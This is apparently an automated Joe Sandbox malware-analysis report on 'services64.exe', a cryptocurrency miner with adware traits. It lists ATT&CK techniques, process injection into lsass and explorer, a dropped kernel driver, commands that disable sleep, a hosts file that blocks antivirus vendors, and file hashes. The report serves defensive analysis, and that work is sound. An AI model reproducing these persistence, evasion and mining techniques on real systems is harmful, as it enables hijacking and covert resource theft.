    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
    Modifies the hosts file
    Source: C:\Users\user\Desktop\services64.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior

    Mitre Att&ck Matrix

    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
    Native API    		1
    DLL Side-Loading    		1
    Abuse Elevation Control Mechanism    		1
    File and Directory Permissions Modification    		2
    Credential API Hooking    		1
    System Time Discovery    		Remote Services1
    Archive Collected Data    		1
    Encrypted Channel    		Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault Accounts1
    Service Execution    		11
    Windows Service    		1
    DLL Side-Loading    		1
    Disable or Modify Tools    		LSASS Memory1
    File and Directory Discovery    		Remote Desktop Protocol2
    Credential API Hooking    		Junk DataExfiltration Over BluetoothNetwork Denial of Service
    Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
    Access Token Manipulation    		1
    Abuse Elevation Control Mechanism    		Security Account Manager123
    System Information Discovery    		SMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
    Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook11
    Windows Service    		1
    Obfuscated Files or Information    		NTDS731
    Security Software Discovery    		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script713
    Process Injection    		1
    Install Root Certificate    		LSA Secrets2
    Process Discovery    		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
    DLL Side-Loading    		Cached Domain Credentials231
    Virtualization/Sandbox Evasion    		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
    File Deletion    		DCSync1
    Application Window Discovery    		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
    Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job4
    Rootkit    		Proc Filesystem1
    Remote System Discovery    		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
    Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt2
    Masquerading    		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
    IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
    Modify Registry    		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
    Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd231
    Virtualization/Sandbox Evasion    		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
    Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task1
    Access Token Manipulation    		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking
    Determine Physical LocationsVirtual Private ServerCompromise Hardware Supply ChainUnix ShellSystemd TimersSystemd Timers713
    Process Injection    		GUI Input CapturePermission Groups DiscoveryReplication Through Removable MediaEmail CollectionProxyExfiltration over USBNetwork Denial of Service
    Business RelationshipsServerTrusted RelationshipVisual BasicContainer Orchestration JobContainer Orchestration Job1
    Hidden Files and Directories    		Web Portal CaptureLocal GroupsComponent Object Model and Distributed COMLocal Email CollectionInternal ProxyCommonly Used PortDirect Network Flood

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet
    behaviorgraph top1 signatures2 2 Behavior Graph ID: 1575187 Sample: services64.exe Startdate: 14/12/2024 Architecture: WINDOWS Score: 100 55 Multi AV Scanner detection for submitted file 2->55 57 Yara detected Xmrig cryptocurrency miner 2->57 59 Sigma detected: Stop EventLog 2->59 61 9 other signatures 2->61 7 services64.exe 1 2 2->7         started        11 WindowsAutHost 1 2->11         started        process3 file4 49 C:\ProgramData\...\WindowsAutHost, PE32+ 7->49 dropped 51 C:\Windows\System32\drivers\etc\hosts, ASCII 7->51 dropped 63 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 7->63 65 Query firmware table information (likely to detect VMs) 7->65 67 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 7->67 77 9 other signatures 7->77 13 dialer.exe 1 7->13         started        16 powershell.exe 23 7->16         started        18 cmd.exe 1 7->18         started        26 13 other processes 7->26 53 C:\Windows\Temp\ybmcltmshprh.sys, PE32+ 11->53 dropped 69 Multi AV Scanner detection for dropped file 11->69 71 Protects its processes via BreakOnTermination flag 11->71 73 Machine Learning detection for dropped file 11->73 75 Sample is not signed and drops a device driver 11->75 20 dialer.exe 11->20         started        22 powershell.exe 23 11->22         started        24 cmd.exe 11->24         started        28 10 other processes 11->28 signatures5 process6 signatures7 79 Contains functionality to inject code into remote processes 13->79 81 Writes to foreign memory regions 13->81 83 Allocates memory in foreign processes 13->83 85 Contains functionality to compare user and computer (likely to detect sandboxes) 13->85 30 lsass.exe 13->30 injected 33 dwm.exe 13->33 injected 39 7 other processes 13->39 87 Loading BitLocker PowerShell Module 16->87 35 conhost.exe 16->35         started        41 2 other processes 18->41 89 Injects code into the Windows Explorer (explorer.exe) 20->89 91 Creates a thread in another existing process (thread injection) 20->91 93 Injects a PE file into a foreign processes 20->93 37 conhost.exe 22->37         started        43 2 other processes 24->43 45 13 other processes 26->45 47 9 other processes 28->47 process8 signatures9 95 Installs new ROOT certificates 30->95 97 Writes to foreign memory regions 30->97

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    services64.exe47%ReversingLabsWin64.Adware.RedCap
    services64.exe100%Joe Sandbox ML

    Dropped Files

    SourceDetectionScannerLabelLink
    C:\ProgramData\WindowsServices\WindowsAutHost100%Joe Sandbox ML
    C:\ProgramData\WindowsServices\WindowsAutHost47%ReversingLabsWin64.Adware.RedCap
    C:\Windows\Temp\ybmcltmshprh.sys5%ReversingLabs

    Unpacked PE Files

    ⊘No Antivirus matches

    Domains

    ⊘No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    http://ocsp.msocsp.0%Avira URL Cloudsafe

    Domains and IPs

    Contacted Domains

    ⊘No contacted domains info

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    http://schemas.xmlsoap.org/ws/2005/07/securitypolicylsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821371502.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3237848048.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmpfalse
      		high
      http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702lsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpfalse
        		high
        http://schemas.xmlsoap.org/ws/2005/02/trustlsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpfalse
          		high
          http://docs.oasis-open.org/ws-sx/ws-trust/200512lsass.exe, 0000001F.00000000.1821371502.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3237848048.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmpfalse
            		high
            http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdlsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpfalse
              		high
              http://schemas.xmlsoap.org/ws/2004/09/policylsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpfalse
                		high
                http://schemas.xmlsoap.org/wsdl/ertieslsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpfalse
                  		high
                  http://schemas.xmlsoap.org/wsdl/soap12/lsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpfalse
                    		high
                    http://schemas.xmlsoap.org/wsdl/lsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpfalse
                      		high
                      http://ocsp.msocsp.lsass.exe, 0000001F.00000000.1821977863.00000202C03C5000.00000004.00000001.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown

                      World Map of Contacted IPs

                      ⊘No contacted IP infos

                      General Information

                      Joe Sandbox version:41.0.0 Charoite
                      Analysis ID:1575187
                      Start date and time:2024-12-14 17:56:11 +01:00
                      Joe Sandbox product:CloudBasic
                      Overall analysis duration:0h 11m 4s
                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Cookbook file name:default.jbs
                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                      Number of analysed new started processes analysed:61
                      Number of new started drivers analysed:0
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:9
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Sample name:services64.exe
                      Detection:MAL
                      Classification:mal100.adwa.spyw.evad.mine.winEXE@91/14@0/0
                      EGA Information:
                      • Successful, ratio: 92.3%
                      HCA Information:
                      • Successful, ratio: 100%
                      • Number of executed functions: 62
                      • Number of non-executed functions: 356
                      Cookbook Comments:
                      • Found application associated with file extension: .exe

                      Warnings

                      • Exclude process from analysis (whitelisted): SIHClient.exe, WmiPrvSE.exe
                      • Excluded IPs from analysis (whitelisted): 20.190.177.146, 20.190.177.20, 20.190.177.85, 20.190.177.22, 20.190.177.147, 20.190.177.83, 20.190.147.10, 20.190.177.23, 20.12.23.50, 13.107.246.63
                      • Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, slkpanel3458647.site, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, pool.hashvault.pro, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
                      • Execution Graph export aborted for target services64.exe, PID 7432 because there are no executed function
                      • Not all processes where analyzed, report is missing behavior information
                      • Report creation exceeded maximum time and may have missing disassembly code information.
                      • Report size exceeded maximum capacity and may have missing behavior information.
                      • Report size exceeded maximum capacity and may have missing disassembly code.
                      • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                      • Report size getting too big, too many NtCreateKey calls found.
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtReadVirtualMemory calls found.
                      • VT rate limit hit for: services64.exe

                      Simulations

                      Behavior and APIs

                      TimeTypeDescription
                      11:57:12API Interceptor30x Sleep call for process: powershell.exe modified
                      11:57:48API Interceptor579137x Sleep call for process: winlogon.exe modified
                      11:57:49API Interceptor479582x Sleep call for process: lsass.exe modified
                      11:57:49API Interceptor1372x Sleep call for process: svchost.exe modified
                      11:57:53API Interceptor551576x Sleep call for process: dwm.exe modified
                      11:57:58API Interceptor1859x Sleep call for process: dialer.exe modified

                      Joe Sandbox View / Context

                      IPs

                      ⊘No context

                      Domains

                      ⊘No context

                      ASNs

                      ⊘No context

                      JA3 Fingerprints

                      ⊘No context

                      Dropped Files

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      C:\Windows\Temp\ybmcltmshprh.sysfile.exeGet hashmaliciousAmadey, LummaC Stealer, Stealc, Vidar, XmrigBrowse
                        file.exeGet hashmaliciousXmrigBrowse
                          file.exeGet hashmaliciousAmadey, LummaC Stealer, Stealc, Vidar, XmrigBrowse
                            file.exeGet hashmaliciousXmrigBrowse
                              5EZLEXDveC.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Stealc, VidarBrowse
                                6R0yrvM8Hk.exeGet hashmaliciousXmrigBrowse
                                  file.exeGet hashmaliciousXmrigBrowse
                                    Step 3 - Setup_Install.exeGet hashmaliciousXmrigBrowse
                                      Step 3 - Setup_Install.exeGet hashmaliciousXmrigBrowse
                                        file.exeGet hashmaliciousDarkVision Rat, XmrigBrowse

                                          Created / dropped Files

                                          C:\ProgramData\WindowsServices\WindowsAutHost

                                          Download File
                                          Process:C:\Users\user\Desktop\services64.exe
                                          File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                          Category:dropped
                                          Size (bytes):17878016
                                          Entropy (8bit):7.9016694571881345
                                          Encrypted:false
                                          SSDEEP:393216:7KmaIQfcS5boKvqDG/mCSq20y8/qDvnEkWX:7x/GborG/46gHW
                                          MD5:A36AA640215E6E609FB942FF79C5ADB5
                                          SHA1:DC636F4DE97D4B948D0ABFBFA37EBECA08B5DA55
                                          SHA-256:FF0A72D1860C9CAD62AA4E48AFE58831EDC35EF4947661C7335DD08E5F26E05B
                                          SHA-512:546948EF0C7E29D0F92EBA004BE271A8A93375B1D1B934C643E7C963E3B2095D40368CBDA8FEB79CC342F88F7199016A6D2EB715B0E4E0516097E57787B9DB98
                                          Malicious:true
                                          Antivirus:
                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                          • Antivirus: ReversingLabs, Detection: 47%
                                          Preview:MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...3.3g.........."...........S................@.............................p............`.....................................................d............/.. +...........`...............................L..(.......8...............h............................text............................... ..`.rdata...\..........................@..@.data...X.R..@......................@....pdata.......@T.....................@..@.00cfg.......PT.....................@..@.tls.........`T.....................@....:ja......y..pT..................... ..`.J4v....h...........................@...."8l................................`..h.reloc.......`......................@..B........................................................................................................................................................................................................................

                                          C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

                                          Download File
                                          Process:C:\Windows\System32\lsass.exe
                                          File Type:very short file (no magic)
                                          Category:modified
                                          Size (bytes):1
                                          Entropy (8bit):0.0
                                          Encrypted:false
                                          SSDEEP:3::
                                          MD5:93B885ADFE0DA089CDF634904FD59F71
                                          SHA1:5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
                                          SHA-256:6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
                                          SHA-512:B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
                                          Malicious:false
                                          Preview:.

                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):64
                                          Entropy (8bit):1.1510207563435464
                                          Encrypted:false
                                          SSDEEP:3:Nlllullkv/tz:NllU+v/
                                          MD5:6442F277E58B3984BA5EEE0C15C0C6AD
                                          SHA1:5343ADC2E7F102EC8FB6A101508730898CB14F57
                                          SHA-256:36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
                                          SHA-512:F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
                                          Malicious:false
                                          Preview:@...e................................................@..........

                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_celngssp.xza.psm1

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:ASCII text, with no line terminators
                                          Category:dropped
                                          Size (bytes):60
                                          Entropy (8bit):4.038920595031593
                                          Encrypted:false
                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                          Malicious:false
                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gokxv2ys.3jg.ps1

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:ASCII text, with no line terminators
                                          Category:dropped
                                          Size (bytes):60
                                          Entropy (8bit):4.038920595031593
                                          Encrypted:false
                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                          Malicious:false
                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mab1rsfs.ubo.psm1

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:ASCII text, with no line terminators
                                          Category:dropped
                                          Size (bytes):60
                                          Entropy (8bit):4.038920595031593
                                          Encrypted:false
                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                          Malicious:false
                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zcj001dt.dmy.ps1

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:ASCII text, with no line terminators
                                          Category:dropped
                                          Size (bytes):60
                                          Entropy (8bit):4.038920595031593
                                          Encrypted:false
                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                          Malicious:false
                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                          C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):64
                                          Entropy (8bit):1.1510207563435464
                                          Encrypted:false
                                          SSDEEP:3:NlllulvX/Z:NllUvX
                                          MD5:E55E6E0E1AB6A345A7BCC5FD9C39F70C
                                          SHA1:E5344BE0ED383244752DD96C35183014062EB114
                                          SHA-256:9635856D4CAE632D612BDD5736CEA8F6B6AEEBD6FE3AEB04A842FBDB386BCC91
                                          SHA-512:74908F7F2D21452483A47A25A5728B9211215C6DB2591E94806E477B6B870C92BCE7E11D64A6E9B4AB225927869AD5440ED2995CCA42FD6C8612B027F994A2A5
                                          Malicious:false
                                          Preview:@...e................................................@..........

                                          C:\Windows\System32\drivers\etc\hosts

                                          Download File
                                          Process:C:\Users\user\Desktop\services64.exe
                                          File Type:ASCII text, with CRLF line terminators
                                          Category:dropped
                                          Size (bytes):1117
                                          Entropy (8bit):4.596294141775527
                                          Encrypted:false
                                          SSDEEP:24:QWDZh+ragzMZfuMMs1L/JU5fFCkK8T1rTthGCRfRBKJy:vDZhyoZWM9rU5fFc2RfRH
                                          MD5:D6F07B2DF0BD08AECA44B6AA714A3F6B
                                          SHA1:FEC1A6EE587A5166BD760CF66C36B691EEEDF8F9
                                          SHA-256:D77E1765CC5BE66A783E1C82FAAA325134911DA899903D74D14588D345497C7D
                                          SHA-512:23E92EBF5DEFFC8E42F7D4CE5BD43F793F77DE433EB1BA8A6EE0F03C004CB1E39A334F8441F44AEEF313DA3051C803348A363F2F7F853A716F56877DC7741CBB
                                          Malicious:true
                                          Preview:# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 kaspersky.com..0.0.0.0 drweb.com..0.0.0.0 360totalsecurity.com..0.0.0.0 emsisoftware.com..0.0.0.0 bitdefender.com..0.0.0.0 bitdefe

                                          C:\Windows\Temp\__PSScriptPolicyTest_4vm5bhut.hui.ps1

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:ASCII text, with no line terminators
                                          Category:dropped
                                          Size (bytes):60
                                          Entropy (8bit):4.038920595031593
                                          Encrypted:false
                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                          Malicious:false
                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                          C:\Windows\Temp\__PSScriptPolicyTest_hg044cae.wfc.psm1

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:ASCII text, with no line terminators
                                          Category:dropped
                                          Size (bytes):60
                                          Entropy (8bit):4.038920595031593
                                          Encrypted:false
                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                          Malicious:false
                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                          C:\Windows\Temp\__PSScriptPolicyTest_lbdh3gie.v3h.psm1

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:ASCII text, with no line terminators
                                          Category:dropped
                                          Size (bytes):60
                                          Entropy (8bit):4.038920595031593
                                          Encrypted:false
                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                          Malicious:false
                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                          C:\Windows\Temp\__PSScriptPolicyTest_ygdwurri.usj.ps1

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:ASCII text, with no line terminators
                                          Category:dropped
                                          Size (bytes):60
                                          Entropy (8bit):4.038920595031593
                                          Encrypted:false
                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                          Malicious:false
                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                          C:\Windows\Temp\ybmcltmshprh.sys

                                          Download File
                                          Process:C:\ProgramData\WindowsServices\WindowsAutHost
                                          File Type:PE32+ executable (native) x86-64, for MS Windows
                                          Category:dropped
                                          Size (bytes):14544
                                          Entropy (8bit):6.2660301556221185
                                          Encrypted:false
                                          SSDEEP:192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
                                          MD5:0C0195C48B6B8582FA6F6373032118DA
                                          SHA1:D25340AE8E92A6D29F599FEF426A2BC1B5217299
                                          SHA-256:11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
                                          SHA-512:AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
                                          Malicious:true
                                          Antivirus:
                                          • Antivirus: ReversingLabs, Detection: 5%
                                          Joe Sandbox View:
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: 5EZLEXDveC.exe, Detection: malicious, Browse
                                          • Filename: 6R0yrvM8Hk.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: Step 3 - Setup_Install.exe, Detection: malicious, Browse
                                          • Filename: Step 3 - Setup_Install.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

                                          Static File Info

                                          General

                                          File type:PE32+ executable (GUI) x86-64, for MS Windows
